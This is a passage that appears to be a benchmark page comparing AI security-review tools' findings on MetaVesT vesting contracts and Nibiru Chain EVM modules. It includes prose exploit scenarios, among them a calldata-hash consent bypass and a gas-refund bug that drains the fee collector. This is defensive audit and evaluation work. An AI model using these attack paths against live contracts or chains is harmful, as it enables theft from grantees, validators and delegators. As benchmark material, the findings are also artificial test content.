(_data[_data.length - 32:]) against the proposal hash, which is also built from only the last word (line 580). Solidity's ABI decoder ignores extra calldata after the arguments. So the bytes the consent check reads are not the bytes that become the function arguments. Also CWE-345: Line 580 commits the majority proposal to keccak256 of only the last 32 raw bytes of the proposed calldata, and line 146 checks the live msg.data the same way. The real arguments are ABI-decoded from fixed offsets (bytes 4..68), and Solidity ignores extra trailing calldata. The hash therefore does not bind the values that actually execute, and the authority can supply any argument while appending the approved word as trailing bytes. - Exploit scenario
-
The authority calls
createSet("evil")and thenproposeMajorityMetavestAmendment("evil", updateMetavestUnlockRate.selector, abi.encodeWithSelector(sel, victim, 0)). The set is empty, sototalVotingPoweris 0. It removes the victim's grant from its current set, if any, and callsaddMetaVestToSet("evil", victim). It then callsupdateMetavestUnlockRate(victim, 0).consentCheckfinds the victim in "evil", seesisPending, evaluates0 > 0as false, matches the last-32-byte hash, and runs the amendment. The same happens without any set manipulation for a set of new token-option grants: the defaultgovTypeisvestedand they have 0 governing power until exercise, so any majority proposal for them passes as soon as it is made. - Recommendation
-
Reject proposals with
totalVotingPower == 0and require a strict majority (currentVotingPower*2 > totalVotingPower). Bind each proposal to a frozen member list or snapshot so grants added after the proposal cannot be amended under it, and do not let the authority change a grant's set membership while proposals that affect it are pending. Also CWE-20: Do not authorize by hashing a slice of raw msg.data. Store the full keccak256 of the exact intended calldata (or of abi.encode of the decoded parameters) in the proposal. In consentCheck, recompute the hash from the decoded arguments and also bind the msg.sig and the set. At minimum, require msg.data.length to equal the canonical ABI length for the function, compare against the full calldata, delete the majority proposal after it is executed, and enforce AMENDMENT_TIME_LIMIT at execution time. Also CWE-436: Bind consent to the decoded parameters rather than raw calldata. For example, store keccak256(abi.encode(selector, value)) in the proposal and recompute it inside each function from the decoded argument. Alternatively, require msg.data.length to equal the exact ABI length (4 + 64) before hashing. Also check in proposeMajorityMetavestAmendment that _callData[0:4] == _msgSig. Also CWE-190: InvoteOnMetavestAmendment, only accept a_grantthat is a member ofsets[_setName]and was deployed by this controller's factories. Take voting power from that verified allocation, and cap the total so thatcurrentVotingPowercan never exceedtotalVotingPower. Compare votes without the possibly overflowing multiplication, for exampleproposal.currentVotingPower <= proposal.totalVotingPower - proposal.currentVotingPower. Also fix the inverted re-proposal guard at line 568 so that expired or poisoned proposals can be replaced. Also CWE-1023: Bind the full calldata. Store keccak256(_callData) at proposal time and compare it against keccak256(msg.data). Better, store the decoded new value and require it to equal the executed argument. Also reject msg.data whose length differs from the expected ABI-encoded length. Clear the majority proposal after execution and check its expiry. Also CWE-345: Bind the commitment to the full decoded intent, not to raw trailing bytes. For example, store keccak256(abi.encode(<decoded argument(s)>)) at proposal time and recompute it inside each amending function from its decoded parameters. Alternatively, require msg.data.length to equal the exact expected ABI length and hash msg.data[36:] (everything after the selector and grant). Reject proposals whose _callData length differs from the canonical encoding.
Vercel Security Review
Arbitrary contracts can supply voting power for any set's amendments
src/MetaVesTController.sol:591Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. Untrusted grant supplies voter identity and weight** -
src/MetaVesTController.sol:591-595```solidity title="src/MetaVesTController.sol:591-594"
if(BaseAllocation(_grant).grantee() != msg.sender) revert MetaVesTController_OnlyGrantee();
if (!functionToSetMajorityProposal[_msgSig][_setName].isPending) revert MetaVesTController_NoPendingAmendment(_msgSig, _grant);
if (!_checkFunctionToTokenToAmendmentTime(_msgSig, _setName))
revert MetaVesTController_ProposedAmendmentExpired();
```
Any outsider can supply a contract reporting themselves as grantee and fabricated governing power; neither set membership nor controller provenance is checked.
**2. Fabricated weight becomes affirmative votes** -
src/MetaVesTController.sol:604-607```solidity title="src/MetaVesTController.sol:604-607"
if (_inFavor) {
proposal.voters.push(_grant);
proposal.currentVotingPower += _callerPower;
}
```
**3. Forged majority authorizes amendments** -
src/MetaVesTController.sol:146-148```solidity title="src/MetaVesTController.sol:146-148"
if (!proposal.isPending || proposal.totalVotingPower>proposal.currentVotingPower*2 || keccak256(_data[_data.length - 32:]) != proposal.dataHash ) {
revert MetaVesTController_AmendmentNeitherMutualNorMajorityConsented();
}
```
For an authority-proposed amendment, outsiders can satisfy the consent gate without affected grantees' votes. Authority execution remains required, but the majority protection is defeated.
- Exploit scenario
-
Not specified.
- Recommendation
-
Before reading voting power, require that the grant is a registered allocation controlled by this controller and belongs to the proposal's set. Derive eligible voters and their voting weights from a proposal snapshot rather than caller-selected contracts.
-
RestrictedTokenAllocation lacks repurchase deadline check metavest-11 · 8 writeups Medium
V12
Repurchase rights never expire
src/RestrictedTokenAllocation.sol:131Predicted severity: Low- Root cause
-
shortStopDateis written byterminate()but never enforced byrepurchaseTokens(). - Impact
-
The authority retains a restricted-token purchase right beyond its configured deadline and can transfer assets after that right was supposed to expire. This is a bounded privileged lifecycle bypass, not evidence that an arbitrary external caller can repurchase.
- Description
-
The constructor records
shortStopDuration, and termination computesshortStopDatefrom that duration. Nevertheless,repurchaseTokens()checks only termination, nonzero amount, and the computed repurchasable amount. Neither this entrypoint nor its calculation reads the deadline. A terminated, funded award therefore accepts purchases arbitrarily later than its configured short-stop date. The checked expiry test never terminates its award, so its rejection exercises the pre-termination guard rather than the missing deadline defense.
Codex Security (GPT-6 Sol)
Authority can repurchase restricted tokens after the deadline
src/RestrictedTokenAllocation.sol:134Predicted severity: Medium- Root cause
-
Termination stores shortStopDate, but neither repurchaseTokens nor its eligibility getter reads that date. The authority's repurchase capability therefore persists indefinitely.
- Impact
-
The deadline is a real time limit on an authority's economic power, but exploitation requires that privileged role and tokens still held by the allocation.
- Description
-
An authority can exercise a restricted-award repurchase right after its configured short-stop period because repurchaseTokens never checks shortStopDate.
- Exploit scenario
-
Termination records deadline → time passes → repurchaseTokens checks no time limit → authority receives grant tokens
- Recommendation
-
Reject repurchases after shortStopDate and return zero eligible amount after expiry.
Pashov (Claude Opus 5.5 high)
RTA repurchase is not limited to the short-stop window
src/RestrictedTokenAllocation.sol:134Predicted severity: Low- Root cause
-
Missing block.timestamp <= shortStopDate check.
- Impact
-
Authority can repurchase at any time after the agreed window, e.g. waiting for the token price to appreciate before paying the fixed repurchase price, contrary to the grant terms.
- Description
-
shortStopDate is set in terminate() and documented as the deadline for repurchases (the controller even defines MetaVesTController_RepurchaseExpired), but repurchaseTokens never checks it.
- Exploit scenario
-
Short stop is 90 days. Authority waits 2 years until the token is worth 50x the repurchase price, then repurchases.
- Recommendation
-
Revert in repurchaseTokens if block.timestamp > shortStopDate.
Pashov (Codex GPT-6 Sol high)
Restricted-token repurchases ignore the deadline
src/RestrictedTokenAllocation.sol:134Predicted severity: High- Root cause
-
The repurchase guard checks termination and amount only.
- Impact
-
Authority retains an indefinite repurchase right over restricted tokens.
- Description
-
Termination stores shortStopDate, but repurchaseTokens does not check it.
- Exploit scenario
-
Terminate, wait beyond shortStopDate, then repurchase a positive remaining amount.
- Recommendation
-
Require block.timestamp <= shortStopDate.
Devin Security
The authority can repurchase restricted tokens more than once and with no deadline, taking the grantee's vested tokens
src/RestrictedTokenAllocation.sol:134Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
After termination, the authority can call repurchase again and again to force-buy the grantee's vested tokens, not just the unvested ones, at any time.
##### What's wrong
This is a missing state update.
getAmountRepurchasablereturns unvested tokens without subtractingtokensRepurchased. The cap therefore never shrinks after a repurchase.repurchaseTokensalso never checksshortStopDate, so the repurchase window never closes.##### Who can do it
Alice, a grantee at Acme Corp, holds a restricted token award. Acme terminates her and 600 of her 1000 tokens have vested. Mallory, who controls the Acme authority, calls
repurchaseTokens(400)once. She then calls it again for another 400. The cap is still 400, so the call passes and takes 400 of Alice's vested tokens.- Mallory holds the
authorityrole.- The award is terminated.
- Mallory pays the repurchase price for each call, and Alice has not yet withdrawn her vested tokens.
##### What they get
Mallory force-buys Alice's vested tokens, which Alice owns outright. She pays the repurchase price instead of the market value. With the payment rounding bug in
getPaymentAmount, the price can be close to zero. Alice's laterwithdrawcall fails because the contract is empty. The damage reaches every restricted token grantee on the controller.##### How it works
1.
terminatesetsshortStopDate, but no function reads it (RestrictedTokenAllocation.sol:170).2.
repurchaseTokenschecks_amountagainstgetAmountRepurchasable()(RestrictedTokenAllocation.sol:137).3.
getAmountRepurchasablereturnstokenStreamTotal + milestones - vestedand ignorestokensRepurchased(RestrictedTokenAllocation.sol:184).4. Each call sends
_amounttokens to the authority until the balance runs out (RestrictedTokenAllocation.sol:144). - Exploit scenario
-
Not specified.
- Recommendation
-
Subtract
tokensRepurchasedingetAmountRepurchasable. MakerepurchaseTokensrevert whenblock.timestamp > shortStopDate. Add tests that callrepurchaseTokenstwice for the full unvested amount and once after the short stop date. Confirm both calls revert and the grantee can still withdraw all vested tokens.
Devin Security (Deep)
Repurchase deadline is stored but never checked
src/RestrictedTokenAllocation.sol:168Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
The authority's right to repurchase tokens after termination never expires, even though the contract computes and stores a deadline and the controller documents one.
##### What's wrong
This is dead state. terminate() sets shortStopDate, but repurchaseTokens and getAmountRepurchasable never read it.
##### Who can do it
Acme Corp terminates Alice's restricted token award with a 30 day repurchase window. Two years later Mallory, controlling the authority multisig, repurchases at the old fixed price after the token's market price has risen.
- The award is terminated.
- The authority holds payment tokens.
##### What they get
The authority keeps a perpetual option to buy the unvested tokens (and, through the repurchase limit bug in this file, the vested ones) at the fixed price, picking the moment the market is most favorable. The grantee's direct loss is limited because unvested tokens were never theirs to withdraw, but the documented window does not exist, and the test testFailRepurchaseTokensAfterExpiry passes only because the award in it was never terminated.
##### How it works
1. terminate (RestrictedTokenAllocation.sol:161-173) stores shortStopDate at line 170.
2. repurchaseTokens (RestrictedTokenAllocation.sol:134-147) checks only terminated, a non-zero amount and getAmountRepurchasable.
3. No other function reads shortStopDate (declared at line 12).
- Exploit scenario
-
Not specified.
- Recommendation
-
Revert in repurchaseTokens when block.timestamp > shortStopDate, and define what happens to unrepurchased tokens after the window (release to grantee or recover to authority). Verify with a test that terminates, warps past the window, and asserts repurchase reverts.
Claude Security (Sonnet 5.5)
Repurchase deadline (shortStopDate) is never enforced, so the authority's repurchase right does not expire
src/RestrictedTokenAllocation.sol:134Predicted severity: Low- Root cause
-
Vulnerable symbol: repurchaseTokens
Preconditions: Caller is the current authority; The award has been terminated
Offending code:
function repurchaseTokens(uint256 _amount) external onlyAuthority nonReentrant {
- Impact
-
The authority keeps a permanent repurchase option at the fixed price after the agreed repurchase window ends. The grantee's counterparty can claw back restricted tokens long after the deadline, contrary to the documented term ("duration after termination during which restricted tokens can be repurchased"). The controller declares an unused MetaVesTController_RepurchaseExpired error and the test testFailRepurchaseTokensAfterExpiry shows the intended expiry.
- Description
-
terminate() records shortStopDate = block.timestamp + shortStopDuration, but repurchaseTokens (onlyAuthority) never compares block.timestamp to it, and no other function reads it. The time-window authorization on the authority's repurchase power is missing.
- Exploit scenario
-
The controller terminates the award with shortStopDuration = 30 days. The authority waits a year, approves the payment token, and calls repurchaseTokens(getAmountRepurchasable()). It succeeds because only the terminated flag is checked, so the authority repurchases at the original price after the window has closed.
- Recommendation
-
In repurchaseTokens, revert when block.timestamp > shortStopDate. Make getAmountRepurchasable() return 0 after shortStopDate. Define what happens to unrepurchased tokens after expiry.
Claude Security (Opus 5.5)
Authority can repurchase without limit and after the deadline, taking the grantee's vested tokens
src/RestrictedTokenAllocation.sol:137Predicted severity: Medium- Root cause
-
Vulnerable symbol: repurchaseTokens
Preconditions: Caller is the controller's authority; The authority terminates the RTA, which it can do on its own; Vested tokens remain in the contract because of the unlock schedule or because the grantee has not withdrawn
Offending code:
if (_amount > getAmountRepurchasable()) revert MetaVesT_MoreThanAvailable();
- Impact
-
The grantee is forced to sell tokens that have already vested (lapsed) back to the authority at the repurchase price, which may be nominal. They permanently lose the vested allocation. The protocol says only unvested tokens are repurchasable and only within the short-stop window. This also gets around the grantee-consent model that protects other amendments.
- Description
-
The only check on how much the authority may repurchase is
_amount > getAmountRepurchasable().getAmountRepurchasable()(line 184) returns tokenStreamTotal + milestones - vested, which stays fixed after termination. It never subtractstokensRepurchased, andrepurchaseTokensnever compares againstshortStopDate. The authority can therefore keep calling it to take tokens beyond the unvested remainder, at any time after termination. - Exploit scenario
-
An RTA has tokenStreamTotal 1000 and unlocks slowly. At termination 400 tokens are vested but still locked, so 600 can be repurchased. The authority calls terminateMetavestVesting, which needs no grantee consent. It then calls repurchaseTokens(600) to take the unvested tokens. It calls repurchaseTokens(400) next: the check still compares against 600, so this passes and takes the grantee's vested tokens at repurchasePrice. It can do this months after shortStopDate. The grantee's later withdraw() calls revert on the balance check at BaseAllocation.sol:275.
- Recommendation
-
Return
tokenStreamTotal + milestonesAllocation - getVestedTokenAmount() - tokensRepurchasedfrom getAmountRepurchasable. In repurchaseTokens, revert with a RepurchaseExpired error whenblock.timestamp > shortStopDate.
-
Accumulation of vested or unlocked tokens metavest-12 · 4 writeups Medium
V12
Rate amendments retroactively invalidate accrued balances
src/MetaVesTController.sol:458Predicted severity: Medium- Root cause
-
Controller amendments integrate with rate setters that overwrite historical schedule inputs without preserving accrued accounting. Consumers then apply the replacement rate retrospectively to the original start time.
- Impact
-
Ordinary consented rate reductions, including the advertised temporary zero-rate freeze, can make withdrawal and governance-power reads revert until a sufficiently compensating rate is restored. Vesting-rate reductions also erase accrued but unwithdrawn entitlement from subsequent termination accounting, so their effects exceed a prospective schedule change.
- Description
-
The rate-update wrappers forward replacement rates without checkpointing accrued vesting or unlocking. The concrete setters simply overwrite the stored rate, and the allocation views multiply that rate by the entire elapsed interval since the original start time. Thus reducing a rate retroactively removes previously accrued entitlement rather than merely pausing or slowing future accrual. When grantee has already withdrawn tokens, a consented reduction can lower calculated vested or unlocked totals below
tokensWithdrawn. The downstream withdrawable and governing-power calculations then revert on subtraction instead of preserving the accrued position.
Pashov (Claude Opus 5.5 high)
Vesting/unlock rate updates are applied retroactively from start time
src/BaseAllocation.sol:193Predicted severity: Medium- Root cause
-
No checkpointing of accrued vested/unlocked amounts when rates change.
- Impact
-
Rate changes approved via the majority process can strip set members of tokens already vested. If amounts drop below tokensWithdrawn, withdraw/getGoverningPower revert on underflow, which also DoSes set governance loops. A 'temporary freeze' to 0 lets terminate() recover tokens that had already vested.
- Description
-
The vested and unlocked amounts are computed as (now - startTime) * currentRate. Changing the rate via updateVestingRate/updateUnlockRate rewrites history: lowering the rate claws back already-vested tokens, and raising it instantly vests past periods. The controller docs describe a rate of 0 as a 'temporary freeze', but it actually zeroes all streamed vesting to date.
- Exploit scenario
-
Grantee has 400 tokens vested by rate. Authority sets vestingRate to 0 ('temporary freeze') via majority consent, then terminates: vested becomes just the cliff/milestones and authority recovers the 400 tokens.
- Recommendation
-
Checkpoint accrued amounts and reset the start time when updating rates.
Pashov (Codex GPT-6 Sol high)
Rate amendments retroactively erase vested or unlocked balances
src/BaseAllocation.sol:190Predicted severity: High- Root cause
-
Rate setters store only the new rate, while getters recompute all historical accrual from the original start time.
- Impact
-
Previously earned rights can disappear; subtraction underflow blocks withdrawals, option exercise, and termination.
- Description
-
Updating a rate replaces the lifetime rate applied from the original start time, so a reduction can make previously vested or unlocked amounts smaller than prior exercises or withdrawals.
- Exploit scenario
-
After 100 tokens vest and 20 are exercised or withdrawn, amend vestingRate to zero; getAmountExercisable or getAmountWithdrawable reverts on 0 minus prior activity.
- Recommendation
-
Checkpoint accrued vested and unlocked amounts at amendment time, then apply the new rate only prospectively.
Devin Security (Deep)
Vesting and unlock rate updates rewrite already accrued amounts and can make views revert
src/BaseAllocation.sol:193Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Lowering a grant's vesting or unlock rate retroactively shrinks what has already vested or unlocked, which can claw back tokens the grantee had earned and can make withdraw and governing power reads revert for the grant and for its set.
##### What's wrong
Rate changes are not checkpointed. updateVestingRate and updateUnlockRate overwrite the rate, and the amount functions recompute (now - start) * rate from scratch, so the new rate is applied to the whole past.
##### Who can do it
Acme Corp's authority, with Alice's consent or without it via the consent bypasses reported in MetaVesTController.sol, sets Alice's vesting rate from 10 to 1 tokens per second a year into her grant.
- A rate change executes (consent gated unless the bypasses are used).
- For the revert case, Alice has already withdrawn more than the recomputed vested or unlocked amount.
##### What they get
Acme can then terminate and recover tokens that had vested under the old rate but were not withdrawn. If Alice had already withdrawn more than the recomputed amount, getAmountWithdrawable and getGoverningPower underflow, so she cannot withdraw and any set-wide proposal over a set containing her grant reverts until the rate is raised again. The controller docstring calls a zero unlock rate a temporary freeze, but the code makes it a rollback.
##### How it works
1. updateVestingRate (BaseAllocation.sol:193-197) or updateUnlockRate (BaseAllocation.sol:202-206) overwrites the stored rate.
2. getVestedTokenAmount (VestingAllocation.sol:98-106, RestrictedTokenAllocation.sol:192-201) and getAmountExercisable (TokenOptionAllocation.sol:178-187) recompute elapsed * rate.
3. getAmountWithdrawable (VestingAllocation.sol:128) subtracts tokensWithdrawn and underflows when the recomputed amount is smaller.
4. proposeMajorityMetavestAmendment (MetaVesTController.sol:572-574) calls getGoverningPower on every member and reverts if any member underflows.
- Exploit scenario
-
Not specified.
- Recommendation
-
When a rate changes, checkpoint the amount accrued so far (store accrued and move the start time to now) so the new rate applies only going forward, and clamp subtractions of tokensWithdrawn to zero. Verify with a test that withdraws, lowers the rate, and asserts getAmountWithdrawable does not revert and previously accrued tokens are preserved.
-
-
Nibiru Go Nibiru Chain Cosmos modules. Tasks 10 V12 10/10 Codex Sec 7/10 Pashov Opus — Pashov GPT-6 — Devin 7/10 Devin (Deep) 8/10 Claude Sec 7/10 Claude Opus 7/10 Vercel 7/10
Nibiru Chain Cosmos modules.
Read the audit report-
EVM base fee is set to 1 wei instead of 1e12 wei nibiru-1 · 3 writeups Critical
V12
Execution and debit use different base-fee scales
x/evm/keeper/vm_config.go:30Predicted severity: Informational- Root cause
-
A native-denomination base-fee getter is used directly at wei-denominated EVM pricing boundaries, while the ante debit path converts it. There is no shared, consistently scaled base-fee value for effective-fee calculation and message construction.
- Impact
-
The source establishes inconsistent financial pricing across ante and execution, but the exact delivered dynamic-transaction settlement is unresolved because the configured geth fork's
Transaction.AsMessageimplementation is absent. The specific missing fact is the effective price that this fork returns for a signed dynamic transaction with these inputs; repository-wide caller searches, the local JSON producer, and dependency-cache searches were inspected, but no fork implementation or runtime execution was available. - Description
-
GetEVMConfigcopiesGetBaseFee(ctx)directly into the EVM configuration, although that getter returns the native-denomination value1. In contrast,VerifyFeeconverts the same value to10^12wei before computing the effective fee.ApplyEvmTxsupplies the unconverted configuration value toAsMessage, andNewEVMalso supplies it as the VM block base fee. The local JSON-message producer demonstrates the same pricing discrepancy explicitly: with fee cap10^12and tip1, its effective message price is2, whereasDynamicFeeTx.EffectiveGasPriceWei(10^12)returns10^12. Consequently the debit calculation and the execution/refund price are derived from different base-fee scales, independently of the missing conversion of the final refund amount.
Codex Security (GPT-6 Sol)
EVM BASEFEE and RPC block base fee expose native units as wei
x/evm/keeper/vm_config.go:30Predicted severity: Medium- Root cause
-
GetBaseFee returns a native micronibi amount, but EVM BlockContext and Ethereum RPC publish it in wei-denominated base-fee fields without conversion.
- Impact
-
Public EVM fee values understate the actual chain base fee by 10^12, affecting contract and client fee decisions; direct loss depends on their use of those values.
- Description
-
EVM block context and Ethereum RPC expose a 1-micronibi base fee as 1 wei instead of 10^12 wei, misleading contract fee logic and clients.
- Exploit scenario
-
GetBaseFee returns a native micronibi amount, but EVM BlockContext and Ethereum RPC publish it in wei-denominated base-fee fields without conversion.
- Recommendation
-
Convert native base fee to wei before passing it to EVM BlockContext and Ethereum RPC responses.
Devin Security (Deep)
EVM gas refund multiplies leftover gas by the wei gas price but pays it out in unibi, letting any EVM sender drain the fee collector
x/evm/keeper/gas_fees.go:41Predicted severity: Critical- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone who can send an Ethereum style transaction on the chain can get paid up to a trillion times more than the fee they paid, taking every coin held by the fee collector account, which holds all transaction fees of the block and, once a day, the whole day's staking rewards.
##### What's wrong
This is a unit mismatch bug in the EVM gas refund. The ante handler charges the sender in unibi after converting the wei fee with
WeiToNative(dividing by 10^12), butRefundGasmultiplies the leftover gas by the raw wei gas price and hands that number out as unibi coins from the fee collector, with no conversion and no cap at what the sender actually paid.##### Who can do it
Alice runs a validator for the Acme chain and Bob delegates to her. Mallory holds an ordinary Ethereum style key with about one NIBI on the chain. She signs one plain EVM transfer to herself with a gas limit of 200,000 and a gas price of 1,000,000 wei, wraps it in the normal
ExtensionOptionsEthereumTxenvelope, and broadcasts it.- Mallory needs any funded account that can sign an Ethereum transaction; no registration or approval is involved.
- The fee collector module account must hold coins at the time the transaction runs, which it does during every block that contains fee paying transactions and during the daily inflation block.
- Mallory picks a gas price so the refund matches the fee collector balance, which she can read from the public bank balance query.
##### What they get
Mallory pays 0.2 NIBI in fees and receives 100,000 NIBI from the fee collector in the same transaction, because the 100,000 units of leftover gas are multiplied by 1,000,000 wei and paid as 10^11 unibi. She can repeat this every block to take all fees paid by every other user before the distribution module hands them to validators and delegators. Once a day, the inflation module mints the entire daily staking reward into the fee collector in the epoch block, and that full amount is exposed to her in that block. Alice and Bob lose the staking income they were owed, and so does every other validator and delegator on the chain. A legitimate user who sets a sane gas price of 10^12 wei is also hurt: the oversized refund fails for lack of fee collector funds and the transaction errors, so correct transactions with leftover gas are rejected.
##### How it works
1. Mallory's transaction enters the EVM ante chain selected in
app/ante.goand passesCanTransferDecoratorinapp/evmante/evmante_can_transfer.go:47-63, whose base fee check compares a wei gas fee cap against a micronibi base fee of 1, so any gas price of at least 1 wei passes.2.
AnteDecEthGasConsumeinapp/evmante/evmante_gas_consume.go:103-110callsVerifyFeeinx/evm/keeper/gas_fees.go:188-195, which computes the charge asWeiToNative(gas * max(gasPrice, 10^12)), so Mallory pays 200,000 unibi.3.
EthereumTxinx/evm/keeper/msg_server.go:31-45runsApplyEvmTx, which builds the core message with the raw wei gas price at line 58 and executes the transfer;ApplyEvmMsgreports gas used as 50% of the limit (100,000) because of the minimum gas multiplier, leaving 100,000 gas to refund at lines 110-113.4.
RefundGasinx/evm/keeper/gas_fees.go:48-60computes100,000 * 1,000,000and sends that many unibi fromFeeCollectorNameto Mallory's address withSendCoinsFromModuleToAccount, never converting from wei and never comparing against the 200,000 unibi she paid.5. The fee collector holds all fees of the block until the next
BeginBlockof the distribution module, andAllocatePolynomialInflationinx/inflation/keeper/inflation.go:81-88also deposits the daily staking inflation there, so this balance is what Mallory drains. - Exploit scenario
-
Not specified.
- Recommendation
-
Make the refund use the same units and the same price as the charge. In RefundGas, compute the leftover amount in wei using the effective gas price that VerifyFee charged (max(gasPrice, baseFeeWei) for legacy and access list transactions, the EIP-1559 effective price for dynamic fee transactions), then convert with evm.WeiToNative before building the sdk.Coin. Also pass the amount deducted in the ante handler (or recompute it with VerifyFee) into ApplyEvmTx and cap the refund at that amount so the fee collector can never pay out more than the sender paid in for that transaction. Pass a wei base fee (evm.NativeToWei(baseFee)) into tx.AsMessage so msg.GasPrice() is computed in one consistent unit. To check the fix: write a keeper test that funds the fee collector with 1,000,000 unibi, sends a plain transfer with a 200,000 gas limit and a 1,000,000 wei gas price, and asserts the sender's balance after the transaction is strictly lower than before and the fee collector balance did not decrease by more than the fee charged. Add a second test with a 10^12 wei gas price asserting the refund equals leftover gas in unibi and the transaction succeeds.
-
Remaining EVM gas refund is created in wei instead of unibi, causing excessive refunds nibiru-2 · 7 writeups Critical
V12
Wei refunds spend native fee-collector balances
x/evm/keeper/gas_fees.go:41Predicted severity: Critical- Root cause
-
RefundGastreats the wei-priced refund product as a native-denomination amount, whereasVerifyFeeexplicitly converts the debit. Low declared legacy prices remain reachable because effective-fee and mempool validation apply a base-fee floor while the declared-cap check uses the unscaled native base fee. - Impact
-
The source-derived small-price path permits a sender to withdraw more native coins from the shared fee collector than its own ante deduction, conditional on existing collector funds. At conventional wei prices, the same mismatch instead requests enormously inflated refunds and returns an insufficient-funds error when the collector cannot cover them; it must not be described as a successful withdrawal in that case.
- Description
-
VerifyFeeconverts the effective full gas-limit fee from wei to native coins, butRefundGasconstructs native coins directly fromleftoverGas * msg.GasPrice()withoutWeiToNative. The legacy transaction adapter passes its wei-denominated price into the Ethereum transaction, andApplyEvmTxobtains the refund message withAsMessage; repository execution tests use price1and separately pre-fund native fee-collector coins to support these refunds. A particularly important reachable case is a small positive legacy price: fee verification and the mempool check raise the effective price to the native base-fee equivalent, while the transfer precheck only compares the declared fee cap against the unconverted base-fee value1. For a zero-value, empty-data call with gas limit50,000and legacy price3, the shown execution accounting yields gas used25,000, an ante deduction of50,000native units, and a requested refund of75,000native units. This is a source-derived reproduction calculation, not an executed test; it succeeds only when the fee collector has sufficient additional coins and the remaining transaction checks succeed.
Codex Security (GPT-6 Sol)
EVM gas refund uses wei amount as native coin units
x/evm/keeper/gas_fees.go:47Predicted severity: High- Root cause
-
RefundGas multiplies leftover gas by wei GasPrice and pays it as native denomination, while VerifyFee deducts converted native amount.
- Impact
-
An EVM sender can request a leftover-gas refund in wei that is paid as native units, potentially draining the fee collector when it has sufficient funds. Fee collector balance gates the excess refund; dependency AsMessage price semantics need verification.
- Description
-
An EVM sender can request a leftover-gas refund in wei that is paid as native units, potentially draining the fee collector when it has sufficient funds.
- Exploit scenario
-
RefundGas multiplies leftover gas by wei GasPrice and pays it as native denomination, while VerifyFee deducts converted native amount.
- Recommendation
-
Convert the wei refund amount to the native denomination before sending coins from the fee collector.
Devin Security
EVM gas refund pays wei-denominated amounts in micronibi, over-refunding by 10^12 and draining the fee collector
x/evm/keeper/gas_fees.go:41Predicted severity: Critical- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone who can send an Ethereum transaction can receive a gas refund about one trillion times larger than the fee they paid, and so take the gas fees other users paid earlier in the same block.
##### What's wrong
This is a unit-mismatch bug in fee accounting. The ante handler charges the fee in micronibi (wei divided by 10^12).
RefundGasmultiplies leftover gas by the transaction gas price in wei and pays that number out as micronibi, with no conversion.##### Who can do it
Alice and many other users send transactions in block N, and their fees collect in the fee collector account. Mallory has a normal funded account. She sends one EVM transaction with a gas limit of a few million, a gas price of 10^12 wei (1 micronibi per gas, the base fee), and a simple transfer that uses 21,000 gas. She pays about her gas limit in micronibi. She is refunded the leftover gas times 10^12 micronibi, capped only by what the fee collector holds. She can lower the gas price or gas limit so the refund fits the current balance exactly.
- Mallory has any funded account and can submit an Ethereum transaction.
- The fee collector holds fees from earlier transactions in the same block.
- The deployed code predates the upstream fix that converts the refund with
WeiToNative(Nibiru PR #2076).##### What they get
Mallory takes the NIBI fees that other users paid in the block. That money was meant for validators and stakers. After the fee collector is empty, later EVM transactions in the block fail when their refund cannot be paid, so honest users lose their fee and their transaction. She can repeat this in every block.
##### How it works
1. The ante handler charges
WeiToNative(EffectiveFeeWei)micronibi throughVerifyFeeandDeductTxCostsFromUserBalancein x/evm/keeper/gas_fees.go:188-195.2.
ApplyEvmTxcomputesrefundGas = msg.Gas() - evmResp.GasUsedand callsRefundGas(ctx, msg, refundGas, evm.EVMBankDenom)in x/evm/keeper/msg_server.go:110-114.3.
RefundGascomputesremaining = leftoverGas * msg.GasPrice(), wheremsg.GasPrice()is in wei, in x/evm/keeper/gas_fees.go:48.4.
RefundGasbuilds coins ofremainingin the micronibi denom and sends them from the fee collector to the sender in x/evm/keeper/gas_fees.go:56-60. - Exploit scenario
-
Not specified.
- Recommendation
-
Compute the refund in wei with the effective gas price, then convert it with
evm.WeiToNativebefore building micronibi coins, as upstream Nibiru did in PR #2076. Add a unit test that sends a transaction with gas price 10^12 wei and a large unused gas limit. The test should assert that the sender's balance after the transaction is never higher than before minus the value sent, and that the refund equalsWeiToNative(leftoverGas * effectiveGasPriceWei).
Devin Security (Deep)
RefundGas computes the gas refund in wei but pays it in micronibi, overpaying by 10^12
x/evm/keeper/gas_fees.go:47Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Unused-gas refunds are paid out of the fee collector at a trillion times the correct amount, which lets a sender who gets a low-gas-price transaction included take the block's staking rewards, and otherwise makes every EVM transaction with leftover gas fail.
##### What's wrong
This is a unit-conversion error. The EVM ante handler charges the sender
WeiToNative(gasPrice_wei * gasLimit)micronibi.ApplyEvmTxlater refundsleftoverGas * msg.GasPrice()where the gas price is in wei, but the result is used directly as a micronibi coin amount without dividing by 10^12.##### Who can do it
Mallory, a user whose Ethereum transaction gets into a block. On a node whose
minimum-gas-pricesis zero, or when Mallory is herself a validator proposing the block, a gas price of a few thousand wei is accepted.- Mallory signs an Ethereum tx with gas limit 1,000,000, gas price P wei, and a cheap call that uses ~21,000 gas.
- The tx must pass CheckTx on the proposing validator;
MempoolGasPriceDecoratorskips the gas-price check when the node's min gas price is zero and is never applied in DeliverTx.- If every proposer enforces a min gas price of 1 micronibi per gas, the refund becomes astronomically large, the bank transfer fails, and the transaction fails instead (see What they get).
##### What they get
Mallory pays
WeiToNative(P * 1,000,000)micronibi, which rounds to zero for P below 10^6 wei. She is refunded979,000 * Pmicronibi from the fee collector. With P tuned to the fee collector's balance (the current block's staking inflation plus fees), she takes all of it, every block, at no cost. This steals rewards from all validators and delegators. If proposers do enforce a minimum gas price (P ≥ 10^12 wei), the computed refund is at least 10^12 micronibi per leftover gas unit, the fee collector cannot pay it, andApplyEvmTxreturns an error, so every EVM transaction that does not use its exact gas limit fails. This is critical if any proposer accepts gas prices below one micronibi per gas.##### How it works
1.
